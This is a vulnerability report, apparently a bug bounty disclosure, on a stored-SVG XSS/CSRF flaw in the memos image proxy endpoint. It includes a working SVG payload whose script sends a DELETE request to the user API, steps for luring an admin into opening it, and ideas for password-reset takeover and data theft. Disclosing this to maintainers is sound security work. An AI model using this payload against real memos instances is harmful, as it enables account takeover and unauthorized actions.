XSS/CSRF in GetImage Endpoint in usememos/memos
Reported on
Sep 15th 2023
Description
The endpoint at /o/get/image?url=
does not have sufficient protections to protect users from CSRF and XSS. An attacker can craft a malicious svg image that will allow them to perform any action of the victim. In the case where the victim is the admin this can lead to a site takover.
Proof of Concept
- Create an SVG with the following content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch("http://localhost:5230/api/v1/user/2", { method: "DELETE", headers: { "Origin": "localhost:5230" } })
</script>
</svg>
- Host the image on your remote server
- Send the following link to the admin (or any user on the site you wish to take action as)
http://localhost:5230/o/get/image?url=http://<your-url>/malicious.svg
- When another user opens that link, it will execute our malicious javascript.
https://drive.google.com/file/d/13cXVTdkaX2taeFty9YrrN4wwLQqJWzPf/view?usp=sharing
Impact
In the example I gave above, the attacker is able to trick the admin into deleting another user, however this attack can lead to much more sinister outcomes. With the ability to have the admin perform any API action we desire, we could simply change the above request to instead reset the admin password to something of our choosing and lock the admin out of their account. Alternatively we can craft a more clever request that will perform a query we are not authorized for and send the information back to a server we control.
To mitigate these issues, I would recommend taking action to prevent script execution on images returned via this endpoint or strictly limiting the types of images returned. Alternatively you can perform validation before returning the contents to the user to ensure nothing malicious has been stored in the image being returned.
Here's a link to a video showing the explot:
https://drive.google.com/file/d/13cXVTdkaX2taeFty9YrrN4wwLQqJWzPf/view?usp=sharing